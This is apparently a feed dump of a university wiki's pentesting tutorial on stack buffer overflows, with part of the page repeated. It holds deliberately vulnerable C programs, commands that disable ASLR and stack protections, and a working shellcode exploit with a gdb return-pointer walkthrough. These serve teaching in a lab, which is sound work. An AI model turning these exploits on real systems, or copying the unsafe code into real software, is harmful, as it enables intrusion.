    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Example 2: Execute your own shellcode ==&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the String of our shellcode.&lt;br /&gt;
Since the shellcode is never terminated, the whole stack is printed.&lt;br /&gt;
&lt;br /&gt;
[[File:Example2-hacked.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
== Example 3: Control Flow Alteration via Stack Buffer Overflow Exploitation ==&lt;br /&gt;
The following program is vulnerable to stack-based buffer overflows due to the usage of&lt;br /&gt;
the insecure gets()-function. gets() is used to write user input into a character array. In&lt;br /&gt;
the source code, a function called winner() is defined, which is never called in main().&lt;br /&gt;
The objective of the following demonstration is to manipulate the execution flow in a&lt;br /&gt;
way that will force the program to execute the winner() function. To achieve that, the&lt;br /&gt;
saved return pointer from the stack frame of function will have to be overwritten with&lt;br /&gt;
the address of the winner function. Firstly, examine the source:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void function(int a, int b, int c) {&lt;br /&gt;
  char buffer[5];&lt;br /&gt;
  gets(buffer);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
void winner(){&lt;br /&gt;
    printf(&amp;quot;Congratulations! You manipulated the execution flow.&amp;quot;);&lt;br /&gt;
    exit(0);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main() { &lt;br /&gt;
    function(1, 2, 3);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Compile the source code into a 32-bit binary executable. Note that the compiler would prevent the usage of gets() unless explicitly instructed to ignore the warning using -Wno-implicit-function-declaration. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -Wno-implicit-function-declaration -o stack-overflow stack-overflow.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Open the binary with gdb, insert a breakpoint at the start of the main function and run the program until that first breakpoint. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gdb stack-overflow &lt;br /&gt;
break main&lt;br /&gt;
run&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Since this binary was not compiled with the -g flag, one cannot list the C source code. Instead, it is possible to disassemble the executable byte code. One can then read the program in assembly language and insert breakpoints at respective instructions. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the disassembled main function and find the call to function. Note how the stack is prepared (arguments pushed) before function is called. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function main:&lt;br /&gt;
   0x56556203 &amp;lt;+0&amp;gt;:     lea    ecx,[esp+0x4]&lt;br /&gt;
   0x56556207 &amp;lt;+4&amp;gt;:     and    esp,0xfffffff0&lt;br /&gt;
   0x5655620a &amp;lt;+7&amp;gt;:     push   DWORD PTR [ecx-0x4]&lt;br /&gt;
   0x5655620d &amp;lt;+10&amp;gt;:    push   ebp&lt;br /&gt;
   0x5655620e &amp;lt;+11&amp;gt;:    mov    ebp,esp&lt;br /&gt;
   0x56556210 &amp;lt;+13&amp;gt;:    push   ecx&lt;br /&gt;
=&amp;gt; 0x56556211 &amp;lt;+14&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556214 &amp;lt;+17&amp;gt;:    call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x56556219 &amp;lt;+22&amp;gt;:    add    eax,0x2ddb&lt;br /&gt;
   0x5655621e &amp;lt;+27&amp;gt;:    sub    esp,0x4&lt;br /&gt;
   0x56556221 &amp;lt;+30&amp;gt;:    push   0x3&lt;br /&gt;
   0x56556223 &amp;lt;+32&amp;gt;:    push   0x2&lt;br /&gt;
   0x56556225 &amp;lt;+34&amp;gt;:    push   0x1&lt;br /&gt;
   0x56556227 &amp;lt;+36&amp;gt;:    call   0x565561ad &amp;lt;function&amp;gt;&lt;br /&gt;
   0x5655622c &amp;lt;+41&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x5655622f &amp;lt;+44&amp;gt;:    mov    eax,0x0&lt;br /&gt;
   0x56556234 &amp;lt;+49&amp;gt;:    mov    ecx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x56556237 &amp;lt;+52&amp;gt;:    leave&lt;br /&gt;
   0x56556238 &amp;lt;+53&amp;gt;:    lea    esp,[ecx-0x4]&lt;br /&gt;
   0x5655623b &amp;lt;+56&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Disassemble the function &amp;quot;function&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble function&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Find the call to gets. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Dump of assembler code for function function:&lt;br /&gt;
   0x565561ad &amp;lt;+0&amp;gt;:     push   ebp&lt;br /&gt;
   0x565561ae &amp;lt;+1&amp;gt;:     mov    ebp,esp&lt;br /&gt;
   0x565561b0 &amp;lt;+3&amp;gt;:     push   ebx&lt;br /&gt;
   0x565561b1 &amp;lt;+4&amp;gt;:     sub    esp,0x14&lt;br /&gt;
   0x565561b4 &amp;lt;+7&amp;gt;:     call   0x5655623c &amp;lt;__x86.get_pc_thunk.ax&amp;gt;&lt;br /&gt;
   0x565561b9 &amp;lt;+12&amp;gt;:    add    eax,0x2e3b&lt;br /&gt;
   0x565561be &amp;lt;+17&amp;gt;:    sub    esp,0xc&lt;br /&gt;
   0x565561c1 &amp;lt;+20&amp;gt;:    lea    edx,[ebp-0xd]&lt;br /&gt;
   0x565561c4 &amp;lt;+23&amp;gt;:    push   edx&lt;br /&gt;
   0x565561c5 &amp;lt;+24&amp;gt;:    mov    ebx,eax&lt;br /&gt;
   0x565561c7 &amp;lt;+26&amp;gt;:    call   0x56556050 &amp;lt;gets@plt&amp;gt;&lt;br /&gt;
   0x565561cc &amp;lt;+31&amp;gt;:    add    esp,0x10&lt;br /&gt;
   0x565561cf &amp;lt;+34&amp;gt;:    nop&lt;br /&gt;
   0x565561d0 &amp;lt;+35&amp;gt;:    mov    ebx,DWORD PTR [ebp-0x4]&lt;br /&gt;
   0x565561d3 &amp;lt;+38&amp;gt;:    leave&lt;br /&gt;
   0x565561d4 &amp;lt;+39&amp;gt;:    ret&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Insert a breakpoint at the instruction right after the call to gets. Later, the stack will be examined after the user input has happened. Then continue execution and enter some &#039;A&#039; characters as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
break *0x565561cc &lt;br /&gt;
continue&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Examine the current state of the CPU&#039;s registers. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info registers&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
esp            0xffffcc50          0xffffcc50&lt;br /&gt;
ebp            0xffffcc78          0xffffcc78&lt;br /&gt;
...&lt;br /&gt;
eip            0x565561cc          0x565561cc &amp;lt;function+31&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Inspect the current stack frame. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info frame&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note the saved EIP, which is also called ret or return pointer. This is the instruction address, that will be used to restore EIP with, once the function has finished executing and returns to it&#039;s caller. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
...&lt;br /&gt;
eip = 0x565561cc in function; saved eip = 0x5655622c&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
One can examine which instruction is saved at that address. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/i 0x5655622c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Confirm that it is actually the one right after the function call in &amp;lt;main&amp;gt; by looking at the disassembled main function again. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
disassemble main&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack to find the &#039;A&#039; characters from the user input. Start from the address that EBP points to on the stack. It does not change during execution of the function and provides a good reference point. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note that one can observe the saved frame pointer, sfp, which will be used to restore EBP once the function returns. This is the first word starting from the address that EBP points to. The second word is the return pointer. Afterwards, one can see the functions input arguments, as they have been pushed on the stack as part of the function prologue. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
0xffffcc88:     0x00000003      ...             ...             ...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Now examine the stack further, subtracting from the address of ebp in order to find the buffer. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/8xw $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x41000000      0x00414141      0x00000000      0xf7f9ae14&lt;br /&gt;
0xffffcc78:     0xffffcc98      0x5655622c      0x00000001      0x00000002&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Alternatively, look at the output per byte. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
x/24xb $ebp - 16&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0xffffcc68:     0x00    0x00    0x00    0x41    0x41    0x41    0x41    0x00&lt;br /&gt;
0xffffcc70:     0x00    0x00    0x00    0x00    0x14    0xae    0xf9    0xf7&lt;br /&gt;
0xffffcc78:     0x98    0xcc    0xff    0xff    0x2c    0x62    0x55    0x56&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find the start of the buffer, the first occurrence of the character &#039;A&#039; in ASCII-representation 0x41. Calculate the distance to the return pointer: 17 bytes. Note that one would need to fill the buffer space with 17 bytes before one could start overwriting the return pointer.&lt;br /&gt;
&lt;br /&gt;
Now one only needs to find the address of the winner function, which can be used to overwrite the return pointer with. Using the info functions command with the additional search string &amp;quot;winner&amp;quot; will return the address of the function winner.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
info functions winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
All functions matching regular expression &amp;quot;winner&amp;quot;:&lt;br /&gt;
...&lt;br /&gt;
0x565561d5  winner&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Note down the address and begin writing the exploit outside of gdb. Use the exit command to exit from gdb.&lt;br /&gt;
&lt;br /&gt;
Use echo with the flags -n and -e to write raw bytes to a file. The bytestring will contain 17 &#039;A&#039; characters and the bytes that make up the address of winner. These will be written to memory in reverse order, since on a little endian system each word will be interpreted in a way that assigns the lowest address byte to the least significant byte of the word. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo -ne &#039;\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xd5\x61\x55\x56&#039; &amp;gt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Assert that the bytes were written correctly to the file and, if necessary, make changes to it.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
hexdump -C exploit.bin &lt;br /&gt;
hexeditor exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  |AAAAAAAAAAAAAAAA|&lt;br /&gt;
00000010  41 d5 61 55 56                                    |A.aUV|&lt;br /&gt;
00000015&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Run the program supplying the exploit file to it as user input. &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./stack-overflow &amp;lt; exploit.bin&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Congratulations! You manipulated the flow of execution.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://phrack.org/issues/49/14.html&lt;br /&gt;
* https://git.fh-campuswien.ac.at/CampusCyberSecurityTeam/ccst/-/tree/master/buffer_overflow&lt;br /&gt;
&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17009</id>
		<title>Binary Exploitation (Buffer Overflow)</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Binary_Exploitation_(Buffer_Overflow)&amp;diff=17009"/>
		<updated>2024-12-11T18:14:47Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* Example 3: Control Flow Alteration by Stack Buffer Overflow Exploitation */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Summary == &lt;br /&gt;
&lt;br /&gt;
This Pentesting documentation features 3 examples, on how to exploit a binary with a buffer overflow.&lt;br /&gt;
&lt;br /&gt;
The examples range from very simple ones to more advanced and complex versions.&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Linux&lt;br /&gt;
* Packages: GNU Compiler Collection (GCC), GNU Debugger (GDB)&lt;br /&gt;
&lt;br /&gt;
Install gcc-multilib and gdb using apt. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
sudo apt update&lt;br /&gt;
sudo apt install gcc-multilib&lt;br /&gt;
sudo apt install gdb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In order to complete these steps, you must have followed [[Buffer Overflows]] before.&lt;br /&gt;
&lt;br /&gt;
The theoretical part is required to understand basic concepts needed for the examples.&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
All examples were created in Linux and written in C. To compile the C Code into an executable program the GNU Compiler Collection (GCC) was used. To debug binaries the GNU Debugger (GDB) was used.&lt;br /&gt;
&lt;br /&gt;
=== Example 1 ===&lt;br /&gt;
&lt;br /&gt;
This example is quite simple and should only demonstrate that a buffer overflow is possible in general. The buffer itself has a fixed length of 8 bytes. The user input is written to the buffer with the gets() function, which doesn’t check boundaries. Any input that is longer than 8 characters will therefore overwrite what comes after it. In this case the volatile integer will get overwritten. The program acts as a game and reveals a flag if the integer is successfully changed.&lt;br /&gt;
&lt;br /&gt;
The program was compiled with this command:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -Wno-implicit-function-declaration -o overflow1 overflow1.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Input smaller than 8 ➜ program exits&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-small.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
Input bigger than 8 ➜ flag&lt;br /&gt;
&lt;br /&gt;
[[File:Example1-enough.png | 900px]]&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
int main() {&lt;br /&gt;
    volatile int secret_treasure = 0;&lt;br /&gt;
    char buffer[8]; &lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Welcome to the Treasure Hunt!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;The buffer is set to 8. If you exceed this limit, you may reveal the treasure!\n&amp;quot;);&lt;br /&gt;
    printf(&amp;quot;Initially, the treasure status is hidden...\n\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Enter your code: &amp;quot;);&lt;br /&gt;
    gets(buffer);&lt;br /&gt;
&lt;br /&gt;
    if (secret_treasure != 0) {&lt;br /&gt;
        printf(&amp;quot;\n**** Treasure Found! ****\n&amp;quot;);&lt;br /&gt;
        printf(&amp;quot;Your treasure is: FLAG{BUFFER OVERFLOW}\n&amp;quot;);&lt;br /&gt;
    } else {&lt;br /&gt;
        printf(&amp;quot;\nSorry, your code was too small. No treasure found.\n&amp;quot;);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Example 2 ===&lt;br /&gt;
&lt;br /&gt;
This example uses a special method of buffer overflows called “stack smashing”. The goal is to execute shellcode by redirecting the execution flow. The return addres will be altered to the start of the buffer. &lt;br /&gt;
&lt;br /&gt;
Since we work with exact addresses, we first disable ASLR for this session. Now the addresses won’t change anymore.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The program expects an argument as input. This argument will be copied to the buffer with the strcpy() function. Again, no bounds checking. If the input no not long enough to reach the return address, the program will exit normally. To simplify the search of finding the exact address of the buffer, the program will print the address for us.&lt;br /&gt;
&lt;br /&gt;
This is the code in C:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
void vuln(char *input) {&lt;br /&gt;
    char buffer[256];&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Buffer address: %p\n&amp;quot;, (void *)buffer);&lt;br /&gt;
&lt;br /&gt;
    strcpy(buffer, input); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
int main(int argc, char *argv[]) {&lt;br /&gt;
    if (argc != 2) {&lt;br /&gt;
        printf(&amp;quot;Usage: %s &amp;lt;input&amp;gt;\n&amp;quot;, argv[0]);&lt;br /&gt;
        return 1;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    vuln(argv[1]);&lt;br /&gt;
&lt;br /&gt;
    printf(&amp;quot;Function executed without crashing.\n&amp;quot;);&lt;br /&gt;
    return 0;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To compile the C code into a program the following command is used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -m32 -no-pie -fno-stack-protector -z execstack -Wno-implicit-function-declaration vulnerable.c -o vulnerable&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# -m32 ➜ 32-bit file&lt;br /&gt;
# -no-pie ➜ start at a fixed address&lt;br /&gt;
# -fno-stack-protector ➜ disable canaries&lt;br /&gt;
# -z execstack ➜ make the stack executable&lt;br /&gt;
# -Wno-implicit-function-declaration ➜ supress warnings&lt;br /&gt;
&lt;br /&gt;
The exploit itself is a python code which is passed as an argument to the program. The offset (padding) are the missing bytes to reach the return address. It can be calculated with the help of a pattern and the GNU Debugger (GDB). With this exact payload a padding of 134 is needed. &lt;br /&gt;
&lt;br /&gt;
The return address will be the address of the buffer. Since the program prints the buffers address, we already know it. If the buffer address is not known in advance, a NOP sled can help to enhance the chance of hitting a possible address. As long as it returns to somewhere in the 100 NOPs, the shellcode will get executed.&lt;br /&gt;
&lt;br /&gt;
While the shellcode would normally create a reverse shell, it only prints „YOU GOT HACKED!!“ to the terminal in our case. It is written in Hexadecimal and represents Assembly. Since little-endian is used, it has to be pushed to the stack in reverse order. &lt;br /&gt;
&lt;br /&gt;
This is the code of the exploit in Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
import sys&lt;br /&gt;
&lt;br /&gt;
nop_sled = b&amp;quot;\x90&amp;quot; * 100&lt;br /&gt;
&lt;br /&gt;
shellcode = (&lt;br /&gt;
    b&amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01&amp;quot;&lt;br /&gt;
    b&amp;quot;\x68\x45\x44\x21\x21&amp;quot;  # !!DE&lt;br /&gt;
    b&amp;quot;\x68\x48\x41\x43\x4b&amp;quot;  # HACK&lt;br /&gt;
    b&amp;quot;\x68\x47\x4f\x54\x20&amp;quot;  # GOT&lt;br /&gt;
    b&amp;quot;\x68\x59\x4f\x55\x20&amp;quot;  # YOU&lt;br /&gt;
    b&amp;quot;\x89\xe1\xb2\x0f\xcd\x80&amp;quot;  # write&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
padding = b&amp;quot;A&amp;quot; * 134&lt;br /&gt;
&lt;br /&gt;
return_address = b&amp;quot;\xb0\xcd\xff\xff&amp;quot;&lt;br /&gt;
&lt;br /&gt;
payload = nop_sled + shellcode + padding + return_address&lt;br /&gt;
&lt;br /&gt;
sys.stdout.buffer.write(payload)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The exploit can be both, a python script and a perl command.&lt;br /&gt;
&lt;br /&gt;
Python:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(python3 exploit.py)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Perl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
./vulnerable &amp;quot;$(perl -e &#039;print &amp;quot;\x90&amp;quot;x100 . &amp;quot;\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x68\x45\x44\x21\x21\x68\x48\x41\x43\x4b\x68\x47\x4f\x54\x20\x68\x59\x4f\x55\x20\x89\xe1\xb2\x10\xcd\x80&amp;quot; . &amp;quot;A&amp;quot;x134 . &amp;quot;\xa0\xcd\xff\xff&amp;quot;&#039;)&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
